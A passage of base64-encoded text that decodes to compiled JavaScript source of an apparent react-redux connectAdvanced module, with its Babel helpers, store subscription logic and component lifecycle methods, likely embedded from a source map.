iYgKHR5cGVvZiBjYWxsID09PSBcIm9iamVjdFwiIHx8IHR5cGVvZiBjYWxsID09PSBcImZ1bmN0aW9uXCIpID8gY2FsbCA6IHNlbGY7IH1cblxuZnVuY3Rpb24gX2luaGVyaXRzKHN1YkNsYXNzLCBzdXBlckNsYXNzKSB7IGlmICh0eXBlb2Ygc3VwZXJDbGFzcyAhPT0gXCJmdW5jdGlvblwiICYmIHN1cGVyQ2xhc3MgIT09IG51bGwpIHsgdGhyb3cgbmV3IFR5cGVFcnJvcihcIlN1cGVyIGV4cHJlc3Npb24gbXVzdCBlaXRoZXIgYmUgbnVsbCBvciBhIGZ1bmN0aW9uLCBub3QgXCIgKyB0eXBlb2Ygc3VwZXJDbGFzcyk7IH0gc3ViQ2xhc3MucHJvdG90eXBlID0gT2JqZWN0LmNyZWF0ZShzdXBlckNsYXNzICYmIHN1cGVyQ2xhc3MucHJvdG90eXBlLCB7IGNvbnN0cnVjdG9yOiB7IHZhbHVlOiBzdWJDbGFzcywgZW51bWVyYWJsZTogZmFsc2UsIHdyaXRhYmxlOiB0cnVlLCBjb25maWd1cmFibGU6IHRydWUgfSB9KTsgaWYgKHN1cGVyQ2xhc3MpIE9iamVjdC5zZXRQcm90b3R5cGVPZiA/IE9iamVjdC5zZXRQcm90b3R5cGVPZihzdWJDbGFzcywgc3VwZXJDbGFzcykgOiBzdWJDbGFzcy5fX3Byb3RvX18gPSBzdXBlckNsYXNzOyB9XG5cbmZ1bmN0aW9uIF9vYmplY3RXaXRob3V0UHJvcGVydGllcyhvYmosIGtleXMpIHsgdmFyIHRhcmdldCA9IHt9OyBmb3IgKHZhciBpIGluIG9iaikgeyBpZiAoa2V5cy5pbmRleE9mKGkpID49IDApIGNvbnRpbnVlOyBpZiAoIU9iamVjdC5wcm90b3R5cGUuaGFzT3duUHJvcGVydHkuY2FsbChvYmosIGkpKSBjb250aW51ZTsgdGFyZ2V0W2ldID0gb2JqW2ldOyB9IHJldHVybiB0YXJnZXQ7IH1cblxuaW1wb3J0IGhvaXN0U3RhdGljcyBmcm9tICdob2lzdC1ub24tcmVhY3Qtc3RhdGljcyc7XG5pbXBvcnQgaW52YXJpYW50IGZyb20gJ2ludmFyaWFudCc7XG5pbXBvcnQgeyBDb21wb25lbnQsIGNyZWF0ZUVsZW1lbnQgfSBmcm9tICdyZWFjdCc7XG5cbmltcG9ydCBTdWJzY3JpcHRpb24gZnJvbSAnLi4vdXRpbHMvU3Vic2NyaXB0aW9uJztcbmltcG9ydCB7IHN0b3JlU2hhcGUsIHN1YnNjcmlwdGlvblNoYXBlIH0gZnJvbSAnLi4vdXRpbHMvUHJvcFR5cGVzJztcblxudmFyIGhvdFJlbG9hZGluZ1ZlcnNpb24gPSAwO1xudmFyIGR1bW15U3RhdGUgPSB7fTtcbmZ1bmN0aW9uIG5vb3AoKSB7fVxuZnVuY3Rpb24gbWFrZVNlbGVjdG9yU3RhdGVmdWwoc291cmNlU2VsZWN0b3IsIHN0b3JlKSB7XG4gIC8vIHdyYXAgdGhlIHNlbGVjdG9yIGluIGFuIG9iamVjdCB0aGF0IHRyYWNrcyBpdHMgcmVzdWx0cyBiZXR3ZWVuIHJ1bnMuXG4gIHZhciBzZWxlY3RvciA9IHtcbiAgICBydW46IGZ1bmN0aW9uIHJ1bkNvbXBvbmVudFNlbGVjdG9yKHByb3BzKSB7XG4gICAgICB0cnkge1xuICAgICAgICB2YXIgbmV4dFByb3BzID0gc291cmNlU2VsZWN0b3Ioc3RvcmUuZ2V0U3RhdGUoKSwgcHJvcHMpO1xuICAgICAgICBpZiAobmV4dFByb3BzICE9PSBzZWxlY3Rvci5wcm9wcyB8fCBzZWxlY3Rvci5lcnJvcikge1xuICAgICAgICAgIHNlbGVjdG9yLnNob3VsZENvbXBvbmVudFVwZGF0ZSA9IHRydWU7XG4gICAgICAgICAgc2VsZWN0b3IucHJvcHMgPSBuZXh0UHJvcHM7XG4gICAgICAgICAgc2VsZWN0b3IuZXJyb3IgPSBudWxsO1xuICAgICAgICB9XG4gICAgICB9IGNhdGNoIChlcnJvcikge1xuICAgICAgICBzZWxlY3Rvci5zaG91bGRDb21wb25lbnRVcGRhdGUgPSB0cnVlO1xuICAgICAgICBzZWxlY3Rvci5lcnJvciA9IGVycm9yO1xuICAgICAgfVxuICAgIH1cbiAgfTtcblxuICByZXR1cm4gc2VsZWN0b3I7XG59XG5cbmV4cG9ydCBkZWZhdWx0IGZ1bmN0aW9uIGNvbm5lY3RBZHZhbmNlZChcbi8qXG4gIHNlbGVjdG9yRmFjdG9yeSBpcyBhIGZ1bmMgdGhhdCBpcyByZXNwb25zaWJsZSBmb3IgcmV0dXJuaW5nIHRoZSBzZWxlY3RvciBmdW5jdGlvbiB1c2VkIHRvXG4gIGNvbXB1dGUgbmV3IHByb3BzIGZyb20gc3RhdGUsIHByb3BzLCBhbmQgZGlzcGF0Y2guIEZvciBleGFtcGxlOlxuICAgICBleHBvcnQgZGVmYXVsdCBjb25uZWN0QWR2YW5jZWQoKGRpc3BhdGNoLCBvcHRpb25zKSA9PiAoc3RhdGUsIHByb3BzKSA9PiAoe1xuICAgICAgdGhpbmc6IHN0YXRlLnRoaW5nc1twcm9wcy50aGluZ0lkXSxcbiAgICAgIHNhdmVUaGluZzogZmllbGRzID0+IGRpc3BhdGNoKGFjdGlvbkNyZWF0b3JzLnNhdmVUaGluZyhwcm9wcy50aGluZ0lkLCBmaWVsZHMpKSxcbiAgICB9KSkoWW91ckNvbXBvbmVudClcbiAgIEFjY2VzcyB0byBkaXNwYXRjaCBpcyBwcm92aWRlZCB0byB0aGUgZmFjdG9yeSBzbyBzZWxlY3RvckZhY3RvcmllcyBjYW4gYmluZCBhY3Rpb25DcmVhdG9yc1xuICBvdXRzaWRlIG9mIHRoZWlyIHNlbGVjdG9yIGFzIGFuIG9wdGltaXphdGlvbi4gT3B0aW9ucyBwYXNzZWQgdG8gY29ubmVjdEFkdmFuY2VkIGFyZSBwYXNzZWQgdG9cbiAgdGhlIHNlbGVjdG9yRmFjdG9yeSwgYWxvbmcgd2l0aCBkaXNwbGF5TmFtZSBhbmQgV3JhcHBlZENvbXBvbmVudCwgYXMgdGhlIHNlY29uZCBhcmd1bWVudC5cbiAgIE5vdGUgdGhhdCBzZWxlY3RvckZhY3RvcnkgaXMgcmVzcG9uc2libGUgZm9yIGFsbCBjYWNoaW5nL21lbW9pemF0aW9uIG9mIGluYm91bmQgYW5kIG91dGJvdW5kXG4gIHByb3BzLiBEbyBub3QgdXNlIGNvbm5lY3RBZHZhbmNlZCBkaXJlY3RseSB3aXRob3V0IG1lbW9pemluZyByZXN1bHRzIGJldHdlZW4gY2FsbHMgdG8geW91clxuICBzZWxlY3Rvciwgb3RoZXJ3aXNlIHRoZSBDb25uZWN0IGNvbXBvbmVudCB3aWxsIHJlLXJlbmRlciBvbiBldmVyeSBzdGF0ZSBvciBwcm9wcyBjaGFuZ2UuXG4qL1xuc2VsZWN0b3JGYWN0b3J5KSB7XG4gIHZhciBfY29udGV4dFR5cGVzLCBfY2hpbGRDb250ZXh0VHlwZXM7XG5cbiAgdmFyIF9yZWYgPSBhcmd1bWVudHMubGVuZ3RoID4gMSAmJiBhcmd1bWVudHNbMV0gIT09IHVuZGVmaW5lZCA/IGFyZ3VtZW50c1sxXSA6IHt9LFxuICAgICAgX3JlZiRnZXREaXNwbGF5TmFtZSA9IF9yZWYuZ2V0RGlzcGxheU5hbWUsXG4gICAgICBnZXREaXNwbGF5TmFtZSA9IF9yZWYkZ2V0RGlzcGxheU5hbWUgPT09IHVuZGVmaW5lZCA/IGZ1bmN0aW9uIChuYW1lKSB7XG4gICAgcmV0dXJuICdDb25uZWN0QWR2YW5jZWQoJyArIG5hbWUgKyAnKSc7XG4gIH0gOiBfcmVmJGdldERpc3BsYXlOYW1lLFxuICAgICAgX3JlZiRtZXRob2ROYW1lID0gX3JlZi5tZXRob2ROYW1lLFxuICAgICAgbWV0aG9kTmFtZSA9IF9yZWYkbWV0aG9kTmFtZSA9PT0gdW5kZWZpbmVkID8gJ2Nvbm5lY3RBZHZhbmNlZCcgOiBfcmVmJG1ldGhvZE5hbWUsXG4gICAgICBfcmVmJHJlbmRlckNvdW50UHJvcCA9IF9yZWYucmVuZGVyQ291bnRQcm9wLFxuICAgICAgcmVuZGVyQ291bnRQcm9wID0gX3JlZiRyZW5kZXJDb3VudFByb3AgPT09IHVuZGVmaW5lZCA/IHVuZGVmaW5lZCA6IF9yZWYkcmVuZGVyQ291bnRQcm9wLFxuICAgICAgX3JlZiRzaG91bGRIYW5kbGVTdGF0ID0gX3JlZi5zaG91bGRIYW5kbGVTdGF0ZUNoYW5nZXMsXG4gICAgICBzaG91bGRIYW5kbGVTdGF0ZUNoYW5nZXMgPSBfcmVmJHNob3VsZEhhbmRsZVN0YXQgPT09IHVuZGVmaW5lZCA/IHRydWUgOiBfcmVmJHNob3VsZEhhbmRsZVN0YXQsXG4gICAgICBfcmVmJHN0b3JlS2V5ID0gX3JlZi5zdG9yZUtleSxcbiAgICAgIHN0b3JlS2V5ID0gX3JlZiRzdG9yZUtleSA9PT0gdW5kZWZpbmVkID8gJ3N0b3JlJyA6IF9yZWYkc3RvcmVLZXksXG4gICAgICBfcmVmJHdpdGhSZWYgPSBfcmVmLndpdGhSZWYsXG4gICAgICB3aXRoUmVmID0gX3JlZiR3aXRoUmVmID09PSB1bmRlZmluZWQgPyBmYWxzZSA6IF9yZWYkd2l0aFJlZixcbiAgICAgIGNvbm5lY3RPcHRpb25zID0gX29iamVjdFdpdGhvdXRQcm9wZXJ0aWVzKF9yZWYsIFsnZ2V0RGlzcGxheU5hbWUnLCAnbWV0aG9kTmFtZScsICdyZW5kZXJDb3VudFByb3AnLCAnc2hvdWxkSGFuZGxlU3RhdGVDaGFuZ2VzJywgJ3N0b3JlS2V5JywgJ3dpdGhSZWYnXSk7XG5cbiAgdmFyIHN1YnNjcmlwdGlvbktleSA9IHN0b3JlS2V5ICsgJ1N1YnNjcmlwdGlvbic7XG4gIHZhciB2ZXJzaW9uID0gaG90UmVsb2FkaW5nVmVyc2lvbisrO1xuXG4gIHZhciBjb250ZXh0VHlwZXMgPSAoX2NvbnRleHRUeXBlcyA9IHt9LCBfY29udGV4dFR5cGVzW3N0b3JlS2V5XSA9IHN0b3JlU2hhcGUsIF9jb250ZXh0VHlwZXNbc3Vic2NyaXB0aW9uS2V5XSA9IHN1YnNjcmlwdGlvblNoYXBlLCBfY29udGV4dFR5cGVzKTtcbiAgdmFyIGNoaWxkQ29udGV4dFR5cGVzID0gKF9jaGlsZENvbnRleHRUeXBlcyA9IHt9LCBfY2hpbGRDb250ZXh0VHlwZXNbc3Vic2NyaXB0aW9uS2V5XSA9IHN1YnNjcmlwdGlvblNoYXBlLCBfY2hpbGRDb250ZXh0VHlwZXMpO1xuXG4gIHJldHVybiBmdW5jdGlvbiB3cmFwV2l0aENvbm5lY3QoV3JhcHBlZENvbXBvbmVudCkge1xuICAgIGludmFyaWFudCh0eXBlb2YgV3JhcHBlZENvbXBvbmVudCA9PSAnZnVuY3Rpb24nLCAnWW91IG11c3QgcGFzcyBhIGNvbXBvbmVudCB0byB0aGUgZnVuY3Rpb24gcmV0dXJuZWQgYnkgJyArIChtZXRob2ROYW1lICsgJy4gSW5zdGVhZCByZWNlaXZlZCAnICsgSlNPTi5zdHJpbmdpZnkoV3JhcHBlZENvbXBvbmVudCkpKTtcblxuICAgIHZhciB3cmFwcGVkQ29tcG9uZW50TmFtZSA9IFdyYXBwZWRDb21wb25lbnQuZGlzcGxheU5hbWUgfHwgV3JhcHBlZENvbXBvbmVudC5uYW1lIHx8ICdDb21wb25lbnQnO1xuXG4gICAgdmFyIGRpc3BsYXlOYW1lID0gZ2V0RGlzcGxheU5hbWUod3JhcHBlZENvbXBvbmVudE5hbWUpO1xuXG4gICAgdmFyIHNlbGVjdG9yRmFjdG9yeU9wdGlvbnMgPSBfZXh0ZW5kcyh7fSwgY29ubmVjdE9wdGlvbnMsIHtcbiAgICAgIGdldERpc3BsYXlOYW1lOiBnZXREaXNwbGF5TmFtZSxcbiAgICAgIG1ldGhvZE5hbWU6IG1ldGhvZE5hbWUsXG4gICAgICByZW5kZXJDb3VudFByb3A6IHJlbmRlckNvdW50UHJvcCxcbiAgICAgIHNob3VsZEhhbmRsZVN0YXRlQ2hhbmdlczogc2hvdWxkSGFuZGxlU3RhdGVDaGFuZ2VzLFxuICAgICAgc3RvcmVLZXk6IHN0b3JlS2V5LFxuICAgICAgd2l0aFJlZjogd2l0aFJlZixcbiAgICAgIGRpc3BsYXlOYW1lOiBkaXNwbGF5TmFtZSxcbiAgICAgIHdyYXBwZWRDb21wb25lbnROYW1lOiB3cmFwcGVkQ29tcG9uZW50TmFtZSxcbiAgICAgIFdyYXBwZWRDb21wb25lbnQ6IFdyYXBwZWRDb21wb25lbnRcbiAgICB9KTtcblxuICAgIHZhciBDb25uZWN0ID0gZnVuY3Rpb24gKF9Db21wb25lbnQpIHtcbiAgICAgIF9pbmhlcml0cyhDb25uZWN0LCBfQ29tcG9uZW50KTtcblxuICAgICAgZnVuY3Rpb24gQ29ubmVjdChwcm9wcywgY29udGV4dCkge1xuICAgICAgICBfY2xhc3NDYWxsQ2hlY2sodGhpcywgQ29ubmVjdCk7XG5cbiAgICAgICAgdmFyIF90aGlzID0gX3Bvc3NpYmxlQ29uc3RydWN0b3JSZXR1cm4odGhpcywgX0NvbXBvbmVudC5jYWxsKHRoaXMsIHByb3BzLCBjb250ZXh0KSk7XG5cbiAgICAgICAgX3RoaXMudmVyc2lvbiA9IHZlcnNpb247XG4gICAgICAgIF90aGlzLnN0YXRlID0ge307XG4gICAgICAgIF90aGlzLnJlbmRlckNvdW50ID0gMDtcbiAgICAgICAgX3RoaXMuc3RvcmUgPSBwcm9wc1tzdG9yZUtleV0gfHwgY29udGV4dFtzdG9yZUtleV07XG4gICAgICAgIF90aGlzLnByb3BzTW9kZSA9IEJvb2xlYW4ocHJvcHNbc3RvcmVLZXldKTtcbiAgICAgICAgX3RoaXMuc2V0V3JhcHBlZEluc3RhbmNlID0gX3RoaXMuc2V0V3JhcHBlZEluc3RhbmNlLmJpbmQoX3RoaXMpO1xuXG4gICAgICAgIGludmFyaWFudChfdGhpcy5zdG9yZSwgJ0NvdWxkIG5vdCBmaW5kIFwiJyArIHN0b3JlS2V5ICsgJ1wiIGluIGVpdGhlciB0aGUgY29udGV4dCBvciBwcm9wcyBvZiAnICsgKCdcIicgKyBkaXNwbGF5TmFtZSArICdcIi4gRWl0aGVyIHdyYXAgdGhlIHJvb3QgY29tcG9uZW50IGluIGEgPFByb3ZpZGVyPiwgJykgKyAoJ29yIGV4cGxpY2l0bHkgcGFzcyBcIicgKyBzdG9yZUtleSArICdcIiBhcyBhIHByb3AgdG8gXCInICsgZGlzcGxheU5hbWUgKyAnXCIuJykpO1xuXG4gICAgICAgIF90aGlzLmluaXRTZWxlY3RvcigpO1xuICAgICAgICBfdGhpcy5pbml0U3Vic2NyaXB0aW9uKCk7XG4gICAgICAgIHJldHVybiBfdGhpcztcbiAgICAgIH1cblxuICAgICAgQ29ubmVjdC5wcm90b3R5cGUuZ2V0Q2hpbGRDb250ZXh0ID0gZnVuY3Rpb24gZ2V0Q2hpbGRDb250ZXh0KCkge1xuICAgICAgICB2YXIgX3JlZjI7XG5cbiAgICAgICAgLy8gSWYgdGhpcyBjb21wb25lbnQgcmVjZWl2ZWQgc3RvcmUgZnJvbSBwcm9wcywgaXRzIHN1YnNjcmlwdGlvbiBzaG91bGQgYmUgdHJhbnNwYXJlbnRcbiAgICAgICAgLy8gdG8gYW55IGRlc2NlbmRhbnRzIHJlY2VpdmluZyBzdG9yZStzdWJzY3JpcHRpb24gZnJvbSBjb250ZXh0OyBpdCBwYXNzZXMgYWxvbmdcbiAgICAgICAgLy8gc3Vic2NyaXB0aW9uIHBhc3NlZCB0byBpdC4gT3RoZXJ3aXNlLCBpdCBzaGFkb3dzIHRoZSBwYXJlbnQgc3Vic2NyaXB0aW9uLCB3aGljaCBhbGxvd3NcbiAgICAgICAgLy8gQ29ubmVjdCB0byBjb250cm9sIG9yZGVyaW5nIG9mIG5vdGlmaWNhdGlvbnMgdG8gZmxvdyB0b3AtZG93bi5cbiAgICAgICAgdmFyIHN1YnNjcmlwdGlvbiA9IHRoaXMucHJvcHNNb2RlID8gbnVsbCA6IHRoaXMuc3Vic2NyaXB0aW9uO1xuICAgICAgICByZXR1cm4gX3JlZjIgPSB7fSwgX3JlZjJbc3Vic2NyaXB0aW9uS2V5XSA9IHN1YnNjcmlwdGlvbiB8fCB0aGlzLmNvbnRleHRbc3Vic2NyaXB0aW9uS2V5XSwgX3JlZjI7XG4gICAgICB9O1xuXG4gICAgICBDb25uZWN0LnByb3RvdHlwZS5jb21wb25lbnREaWRNb3VudCA9IGZ1bmN0aW9uIGNvbXBvbmVudERpZE1vdW50KCkge1xuICAgICAgICBpZiAoIXNob3VsZEhhbmRsZVN0YXRlQ2hhbmdlcykgcmV0dXJuO1xuXG4gICAgICAgIC8vIGNvbXBvbmVudFdpbGxNb3VudCBmaXJlcyBkdXJpbmcgc2VydmVyIHNpZGUgcmVuZGVyaW5nLCBidXQgY29tcG9uZW50RGlkTW91bnQgYW5kXG4gICAgICAgIC8vIGNvbXBvbmVudFdpbGxVbm1vdW50IGRvIG5vdC4gQmVjYXVzZSBvZiB0aGlzLCB0cnlTdWJzY3JpYmUgaGFwcGVucyBkdXJpbmcgLi4uZGlkTW91bnQuXG4gICAgICAgIC8vIE90aGVyd2lzZSwgdW5zdWJzY3JpcHRpb24gd291bGQgbmV2ZXIgdGFrZSBwbGFjZSBkdXJpbmcgU1NSLCBjYXVzaW5nIGEgbWVtb3J5IGxlYWsuXG4gICAgICAgIC8vIFRvIGhhbmRsZSB0aGUgY2FzZSB3aGVyZSBhIGNoaWxkIGNvbXBvbmVudCBtYXkgaGF2ZSB0cmlnZ2VyZWQgYSBzdGF0ZSBjaGFuZ2UgYnlcbiAgICAgICAgLy8gZGlzcGF0Y2hpbmcgYW4gYWN0aW9uIGluIGl0cyBjb21wb25lbnRXaWxsTW91bnQsIHdlIGhhdmUgdG8gcmUtcnVuIHRoZSBzZWxlY3QgYW5kIG1heWJlXG4gICAgICAgIC8vIHJlLXJlbmRlci5cbiAgICAgICAgdGhpcy5zdWJzY3JpcHRpb24udHJ5U3Vic2NyaWJlKCk7XG4gICAgICAgIHRoaXMuc2VsZWN0b3IucnVuKHRoaXMucHJvcHMpO1xuICAgICAgICBpZiAodGhpcy5zZWxlY3Rvci5zaG91bGRDb21wb25lbnRVcGRhdGUpIHRoaXMuZm9yY2VVcGRhdGUoKTtcbiAgICAgIH07XG5cbiAgICAgIENvbm5lY3QucHJvdG90eXBlLmNvbXBvbmVudFdpbGxSZWNlaXZlUHJvcHMgPSBmdW5jdGlvbiBjb21wb25lbnRXaWxsUmVjZWl2ZVByb3BzKG5leHRQcm9wcykge1xuICAgICAgICB0aGlzLnNlbGVjdG9yLnJ1bihuZXh0UHJvcHMpO1xuICAgICAgfTtcblxuICAgICAgQ29ubmVjdC5wcm90b3R5cGUuc2hvdWxkQ29tcG9uZW50VXBkYXRlID0gZnVuY3Rpb24gc2hvdWxkQ29tcG9uZW50VXBkYXRlKCkge1xuICAgICAgICByZXR1cm4gdGhpcy5zZWxlY3Rvci5zaG91bGRDb21wb25lbnRVcGRhdGU7XG4gICAgICB9O1xuXG4gICAgICBDb25uZWN0LnByb3RvdHlwZS5jb21wb25lbnRXaWxsVW5tb3VudCA9IGZ1bmN0aW9uIGNvbXBvbmVudFdpbGxVbm1vdW50KCkge1xuICAgICAgICBpZiAodGhpcy5zdWJzY3JpcHRpb24pIHRoaXMuc3Vic2NyaXB0aW9uLnRyeVVuc3Vic2NyaWJlKCk7XG4gICAgICAgIHRoaXMuc3Vic2NyaXB0aW9uID0gbnVsbDtcbiAgICAgICAgdGhpcy5ub3RpZnlOZXN0ZWRTdWJzID0gbm9vcDtcbiAgICAgICAgdGhpcy5zdG9yZSA9IG51bGw7XG4gICAgICAgIHRoaXMuc2VsZWN0b3IucnVuID0gbm9vcDtcbiAgICAgICAgdGhpcy5zZWxlY3Rvci5zaG91bGRDb21wb25lbnRVcGRhdGUgPSBmYWxzZTtcbiAgICAgIH07XG5cbiAgICAgIENvbm5lY3QucHJvdG90eXBlLmdldFdyYXBwZWRJbnN0YW5jZSA9IGZ1bmN0aW9uIGdldFdyYXBwZWRJbnN0YW5jZSgpIHtcbiAgICAgICAgaW52YXJpYW50KHdpdGhSZWYsICdUbyBhY2Nlc3MgdGhlIHdyYXBwZWQgaW5zdGFuY2UsIHlvdSBuZWVkIHRvIHNwZWNpZnkgJyArICgneyB3aXRoUmVmOiB0cnVlIH0gaW4gdGhlIG9wdGlvbnMgYXJndW1lbnQgb2YgdGhlICcgKyBtZXRob2ROYW1lICsgJygpIGNhbGwuJykpO1xuICAgICAgICByZXR1cm4gdGhpcy53cmFwcGVkSW5zdGFuY2U7XG4gICAgICB9O1xuXG4gICAgICBDb25uZWN0LnByb3RvdHlwZS5zZXRXcmFwcGVkSW5zdGFuY2UgPSBmdW5jdGlvbiBzZXRXcmFwcGVkSW5zdGFuY2UocmVmKSB7XG4gICAgICAgIHRoaXMud3JhcHBlZEluc3RhbmNlID0gcmVmO1xuICAgICAgfTtcblxuICAgICAgQ29ubmVjdC5wcm90b3R5cGUuaW5pdFNlbGVjdG9yID0gZnVuY3Rpb24gaW5pdFNlbGVjdG9yKCkge1xuICAgICAgICB2YXIgc291cmNlU2VsZWN0b3IgPSBzZWxlY3RvckZhY3RvcnkodGhpcy5zdG9yZS5kaXNwYXRjaCwgc2VsZWN0b3JGYWN0b3J5T3B0aW9ucyk7XG4gICAgICAgIHRoaXMuc2VsZWN0b3IgPSBtYWtlU2VsZWN0b3JTdGF0ZWZ1bChzb3VyY2VTZWxlY3RvciwgdGhpcy5zdG9yZSk7XG4gICAgICAgIHRoaXMuc2VsZWN0b3IucnVuKHRoaXMucHJvcHMpO1xuICAgICAgfTtcblxuICAgICAgQ29ubmVjdC5wcm90b3R5cGUuaW5pdFN1YnNjcmlwdGlvbiA9IGZ1bmN0aW9uIGluaXRTdWJzY3JpcHRpb24oKSB7XG4gICAgICAgIGlmICghc2hvdWxkSGFuZGxlU3RhdGVDaGFuZ2VzKSByZXR1cm47XG5cbiAgICAgICAgLy8gcGFyZW50U3ViJ3Mgc291cmNlIHNob3VsZCBtYXRjaCB3aGVyZSBzdG9yZSBjYW1lIGZyb206IHByb3BzIHZzLiBjb250ZXh0LiBBIGNvbXBvbmVudFxuICAgICAgICAvLyBjb25uZWN0ZWQgdG8gdGhlIHN0b3JlIHZpYSBwcm9wcyBzaG91bGRuJ3QgdXNlIHN1YnNjcmlwdGlvbiBmcm9tIGNvbnRleHQsIG9yIHZpY2UgdmVyc2EuXG4gICAgICAgIHZhciBwYXJlbnRTdWIgPSAodGhpcy5wcm9wc01vZGUgPyB0aGlzLnByb3BzIDogdGhpcy5jb250ZXh0KVtzdWJzY3JpcHRpb25LZXldO1xuICAgICAgICB0aGlzLnN1YnNjcmlwdGlvbiA9IG5ldyBTdWJzY3JpcHRpb24odGhpcy5zdG9yZSwgcGFyZW50U3ViLCB0aGlzLm9uU3RhdGVDaGFuZ2UuYmluZCh0aGlzKSk7XG5cbiAgICAgICAgLy8gYG5vdGlmeU5lc3RlZFN1YnNgIGlzIGR1cGxpY2F0ZWQgdG8gaGFuZGxlIHRoZSBjYXNlIHdoZXJlIHRoZSBjb21wb25lbnQgaXMgIHVubW91bnRlZCBpblxuICAgICAgICAvLyB0aGUgbWlkZGxlIG9mIHRoZSBub3RpZmljYXRpb24gbG9vcCwgd2hlcmUgYHRoaXMuc3Vic2NyaXB0aW9uYCB3aWxsIHRoZW4gYmUgbnVsbC4gQW5cbiAgICAgICAgLy8gZXh0cmEgbnVsbCBjaGVjayBldmVyeSBjaGFuZ2UgY2FuIGJlIGF2b2lkZWQgYnkgY29weWluZyB0aGUgbWV0aG9kIG9udG8gYHRoaXNgIGFuZCB0aGVuXG4gICAgICAgIC8vIHJlcGxhY2luZyBpdCB3aXRoIGEgbm8tb3Agb24gdW5tb3VudC4gVGhpcyBjYW4gcHJvYmFibHkgYmUgYXZvaWRlZCBpZiBTdWJzY3JpcHRpb24nc1xuICAgICAgICAvLyBsaXN0ZW5lcnMgbG9naWMgaXMgY2hhbmdlZCB0byBub3QgY2FsbCBsaXN0ZW5lcnMgdGhhdCBoYXZlIGJlZW4gdW5zdWJzY3JpYmVkIGluIHRoZVxuICAgICAgICAvLyBtaWRkbGUgb2YgdGhlIG5vdGlmaWNhdGlvbiBsb29wLlxuICAgICAgICB0aGlzLm5vdGlmeU5lc3RlZFN1YnMgPSB0aGlzLnN1YnNjcmlwdGlvbi5ub3RpZnlOZXN0ZWRTdWJzLmJpbmQodGhpcy5zdWJzY3JpcHRpb24pO1xuICAgICAgfTtcblxuICAgICAgQ29ubmVjdC5wcm90b3R5cGUub25TdGF0ZUNoYW5nZSA9IGZ1bmN0aW9uIG9uU3RhdGVDaGFuZ2UoKSB7XG4gICAgICAgIHRoaXMuc2VsZWN0b3IucnVuKHRoaXMucHJvcHMpO1xuXG4gICAgICAgIGlmICghdGhpcy5zZWxlY3Rvci5zaG91bGRDb21wb25lbnRVcGRhdGUpIHtcbiAgICAgICAgICB0aGlzLm5vdGlmeU5lc3RlZFN1YnMoKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICB0aGlzLmNvbXBvbmVudERpZFVwZGF0ZSA9IHRoaXMubm90aWZ5TmVzdGVkU3Vic09uQ29tcG9uZW50RGlkVXBkYXRlO1xuICAgICAgICAgIHRoaXMuc2V0U3RhdGUoZHVtbXlTdGF0ZSk7XG4gICAgICAgIH1cbiAgICAgIH07XG5cbiAgICAgIENvbm5lY3QucHJvdG90eXBlLm5vdGlmeU5lc3RlZFN1YnNPbkNvbXBvbmVudERpZFVwZGF0ZSA9IGZ1bmN0aW9uIG5vdGlmeU5lc3RlZFN1YnNPbkNvbXBvbmVudERpZFVwZGF0ZSgpIHtcbiAgICAgICAgLy8gYGNvbXBvbmVudERpZFVwZGF0ZWAgaXMgY29uZGl0aW9uYWxseSBpbXBsZW1lbnRlZCB3aGVuIGBvblN0YXRlQ2hhbmdlYCBkZXRlcm1pbmVzIGl0XG4gICAgICAgIC8vIG5lZWRzIHRvIG5vdGlmeSBuZXN0ZWQgc3Vicy4gT25jZSBjYWxsZWQsIGl0IHVuaW1wbGVtZW50cyBpdHNlbGYgdW50aWwgZnVydGhlciBzdGF0ZVxuICAgICAgICAvLyBjaGFuZ2VzIG9jY3VyLiBEb2luZyBpdCB0aGlzIHdheSB2cyBoYXZpbmcgYSBwZXJtYW5lbnQgYGNvbXBvbmVudERpZFVwZGF0ZWAgdGhhdCBkb2VzXG4gICAgICAgIC8vIGEgYm9vbGVhbiBjaGVjayBldmVyeSB0aW1lIGF2b2lkcyBhbiBleHRyYSBtZXRob2QgY2FsbCBtb3N0IG9mIHRoZSB0aW1lLCByZXN1bHRpbmdcbiAgICAgICAgLy8gaW4gc29tZSBwZXJmIGJvb3N0LlxuICAgICAgICB0aGlzLmNvbXBvbmVudERpZFVwZGF0ZSA9IHVuZGVmaW5lZDtcbiAgICAgICAgdGhpcy5ub3RpZnlOZXN0ZWRTdWJzKCk7XG4gICAgICB9O1xuXG4gICAgICBDb25uZWN0LnByb3RvdHlwZS5pc1N1YnNjcmliZWQgPSBmdW5jdGlvbiBpc1N1YnNjcmliZWQoKSB7XG4gICAgICAgIHJldHVybiBCb29sZWFuKHRoaXMuc3Vic2NyaXB0aW9uKSAmJiB0aGlzLnN1YnNjcmlwdGlvbi5pc1N1YnNjcmliZWQoKTtcbiAgICAgIH07XG5cbiAgICAgIENvbm5lY3QucHJvdG90eXBlLmFkZEV4dHJhUHJvcHMgPSBmdW5jdGlvbiBhZGRFeHRyYVByb3BzKHByb3BzKSB7XG4gICAgICAgIGlmICghd2l0aFJlZiAmJiAhcmVuZGVyQ291bnRQcm9wICYmICEodGhpcy5wcm9wc01vZGUgJiYgdGhpcy5zdWJzY3JpcHRpb24pKSByZXR1cm4gcHJvcHM7XG4gICAgICAgIC8vIG1ha2UgYSBzaGFsbG93IGNvcHkgc28gdGhhdCBmaWVsZHMgYWRkZWQgZG9uJ3QgbGVhayB0byB0aGUgb3JpZ2luYWwgc2VsZWN0b3IuXG4gICAgICAgIC8vIHRoaXMgaXMgZXNwZWNpYWxseSBpbXBvcnRhbnQgZm9yICdyZWYnIHNpbmNlIHRoYXQncyBhIHJlZmVyZW5jZSBiYWNrIHRvIHRoZSBjb21wb25lbnRcbiAgICAgICAgLy8gaW5zdGFuY2UuIGEgc2luZ2xldG9uIG1lbW9pemVkIHNlbGVjdG9yIHdvdWxkIHRoZW4gYmUgaG9sZGluZyBhIHJlZmVyZW5jZSB0byB0aGVcbiAgICAgICAgLy8gaW5zdGFuY2UsIHByZXZlbnRpbmcgdGhlIGluc3RhbmNlIGZyb20gYmVpbmcgZ2FyYmFnZSBjb2xsZWN0ZWQsIGFuZCB0aGF0IHdvdWxkIGJlIGJhZFxuICAgICAgICB2YXIgd2l0aEV4dHJhcyA9IF9leHRlbmRzKHt9LCBwcm9wcyk7XG4gICAgICAgIGlmICh3aXRoUmVmKSB3aXRoRXh0cmFzLnJlZiA9IHRoaXMuc2V0V3JhcHBlZEluc3RhbmNlO1xuICAgICAgICBpZiAocmVuZGVyQ291bnRQcm9wKSB3aXRoRXh0cmFzW3JlbmRlckNvdW50UHJvcF0gPSB0aGlzLnJlbmRlckNvdW50Kys7XG4gIC